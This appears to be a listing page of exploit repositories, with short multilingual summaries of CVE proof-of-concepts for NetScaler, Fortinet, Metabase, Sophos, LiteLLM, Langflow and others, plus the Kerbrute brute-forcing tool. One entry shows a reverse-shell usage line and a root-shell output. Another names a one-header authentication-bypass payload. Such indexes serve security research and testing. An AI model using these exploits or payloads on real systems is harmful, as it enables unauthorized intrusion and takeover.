CVE-2026-8451

🚨 CVE-2026-8451 - Vulnerabilidad de sobrelectura de memoria en SAML IdP de NetScaler Una vulnerabilidad de divulgación de memoria sin autenticación que afecta a Citrix NetScaler ADC y NetScaler Gateway configurados como proveedor de identidad SAML IdP. ✨ Descripción general CVE-2026-8451 es una...

CVE-2022-21445-for-12.2.1.3.0-Weblogic

Vista general CVE-2022-21445 puntuación CVSS 9.8, la vulnerabilidad es una deserialización de datos no confiables, identificada como existente en el componente ADF Faces, que puede ser explotada de forma remota sin autenticación pre-authentication para ejecutar RCE. La vulnerabilidad fue...

cve-2010-4221-lab

CVE-2010-4221 — Desbordamiento de pila TELNET IAC en ProFTPD: Del parche al RCE Un laboratorio totalmente reproducible y un exploit escrito a mano con sockets crudos para CVE-2010-4221 — el desbordamiento de búfer en pila previo a la autenticación en prnetiotelnetgets de ProFTPD — construido como...

ibm-sterling-b2b-integrator-poc

IBM Sterling B2B Integrator PoC 针对 IBM Sterling B2B Integrator（版本 6.2.0.0 至 6.2.0.2 以及 6.0.0.0 至 6.1.2.5，适用于 Linux、Windows 和 AIX 系统）中发现的漏洞的利用概念验证代码： LPE 命令注入——若认证已禁用 预认证反序列化 RCE ——已分配 CVE-2024-31903，相关 IBM 安全公告见此处：https://www.ibm.com/support/pages/node/7172233 有关这些问题的更多细节，请参阅我的 DistricCon 演讲《To B...

CVE-2026-48939

CVE-2026-48939 — Exploit de RCE en iCagenda Joomla Subida de archivos arbitraria sin autenticación → Ejecución de código PHP Resumen CVE-2026-48939 es una vulnerabilidad crítica con CVSS 10.0 en la extensión de calendario de eventos iCagenda para Joomla. La función de adjuntar archivos del...

kerbrute

Kerbrute A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication Grab the latest binaries from the releases page to get started. Background This tool grew out of some bash scripts I wrote a few years ago to perform bruteforcing using the...

kerbrute

Kerbrute 一款通过 Kerberos 预认证快速暴力破解和枚举有效 Active Directory 账户的工具 从 releases 页面 获取最新二进制文件即可开始使用。 背景 本工具源于几年前我编写的一些 bash 脚本，用于在 Linux 上使用 Heimdal Kerberos 客户端进行暴力破解。我希望有一个无需安装 Kerberos 客户端特权即可使用的工具，当我发现纯 Go 实现的 Kerberos 库 gokrb5 时，我决定最终学习 Go 并编写了这个工具。 通过 Kerberos 暴力破解 Windows...

CVE-2024-51568---CyberPanel-Command-Injection-Nuclei-Template

CVE-2024-51568 - PoC de Inyección de Comandos en CyberPanel Un entorno de prueba de concepto y plantilla Nuclei para probar CVE-2024-51568, una vulnerabilidad crítica de inyección de comandos sin autenticación en CyberPanel. Detalles de la Vulnerabilidad CVE: CVE-2024-51568 Severidad: Crítica CVS...

CVE-2026-8023

CVE-2026-8023 — Travesía de ruta en HTTP static-fs de Zephyr PoC Travesía de ruta sin autenticación en el manejador static-fs del servidor HTTP de Zephyr subsys/net/lib/http cuando se usa coincidencia de recursos comodín CONFIGHTTPSERVERRESOURCEWILDCARD=y con HTTPRESOURCETYPESTATICFS. Afecta tant...

CVE-2021-26084

CVE-2021-26084 Atlassian Confluence RCE pre-autenticación...

cve-2022-42475-poc

CVE-2022-42475 PoC Fortinet SSL VPN Pre-Authentication Remote Code Execution Descripción CVE-2022-42475 es una vulnerabilidad de heap-based buffer overflow en el servicio SSL VPN de FortiOS que permite a atacantes no autenticados ejecutar código arbitrario de forma remota RCE mediante solicitudes...

cve-2023-38646-poc

Metabase Pre Authentication RCE CVE-2023-38646 CVE-2023-38646是Metabase中的一个远程代码执行漏洞。该漏洞源于Metabase在处理未经身份验证的API端点/api/setup/validate时，对JDBC连接字符串的处理存在安全缺陷。攻击者可以通过构造特定的JDBC连接字符串，利用该端点在服务器上执行任意命令，而无需进行身份验证。...

sophucked

sophucked CVE-2020-25223 RCE PoC，获取反向 Shell。无需认证。快速实现，以统一一些威胁磁铁。 使用示例： python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + 在端口 80 上启动处理程序 + 发送回调至 x.x.x.x:80 + 来自 x.x.x.x 的连接 + 弹出你的 Shell！ bash: 此 Shell 中无作业控制 utm:/var/confd unset HISTFILE unset HISTFILE utm:/var/confd id id uid=0root gid=0root...

CVE-2025-25257-Exploit-Tool

Herramienta de Explotación CVE-2025-25257 Créditos Based on watchTowr Labs, 0xbigshaq, and pwner.gg analyses. Advertencias For educational purposes only. Use on authorized systems. Modifies database/filesystem. Herramienta Python mejorada para detectar y explotar CVE-2025-25257 SQLi sin...

react2shell-CVE-2025-55182-full-rce-script

Next.js React2Shell CVE-2025-55182 Herramienta de Explotación Una herramienta de prueba de concepto para demostrar la vulnerabilidad crítica React2Shell CVE-2025-55182 / CVE-2025-66478 únicamente en entornos de prueba locales autorizados. ⚠️ ADVERTENCIA CRÍTICA: EXPLOTACIÓN ACTIVA Esta...

React2Shell-PoC-CVE-2025-55182

Simulación de explotación de React2Shell CVE-2025-55182 Nota: Este documento es solo para fines educativos y de investigación en seguridad. No lo utilices para atacar sistemas sin autorización. 1. Resumen CVE-2025-55182, también conocida como React2Shell, es una vulnerabilidad grave de ejecución...

CVE-2026-39987-PoC

PoC de CVE-2026-39987 Resumen Marimo = 0.20.4 se ve afectado por una vulnerabilidad de RCE previa a la autenticación en el endpoint WebSocket /terminal/ws. El endpoint verifica el modo de la aplicación y la compatibilidad con terminal, pero no valida la autenticación antes de aceptar la conexión...

CVE-2023-51518

CVE-2023-51518: Deserialización de Java Preautenticada a través de JMX en Apache James La distribución de Apache James anterior a las versiones 3.7.5 y 3.8.1 permite la escalada de privilegios mediante la deserialización preautenticada de JMX. Dado un gadget de deserialización, esto podría ser...

CVE-2026-49468-LiteLLM-Auth-Bypass

CVE-2026-49468 — LiteLLM 通过Host头路由混淆实现未认证的身份验证绕过 在 LiteLLM 代理（BerriAI）中存在的预认证身份验证/授权绕过。一个精心构造的 Host 头使得代理针对一个公共健康路由评估其身份验证决策，而 FastAPI 仍然执行受保护的管理处理程序——从而无需 API 密钥 即可处理请求。 | ---|--- CVE| CVE-2026-49468 产品| LiteLLM BerriAI proxy 受影响版本| 整个利用仅需一个头：Host: evil/? 根本原因...

CVE-2026-27966

CVE-2026-27966 — Escáner de Ejecución Remota de Código Langflow Inyección de Ruta Previo a Autenticación + Inyección de Vértice → Ejecución de Código Python Descripción general CVE-2026-27966 es una vulnerabilidad de ejecución remota de código previa a la autenticación de gravedad crítica CVSS 9....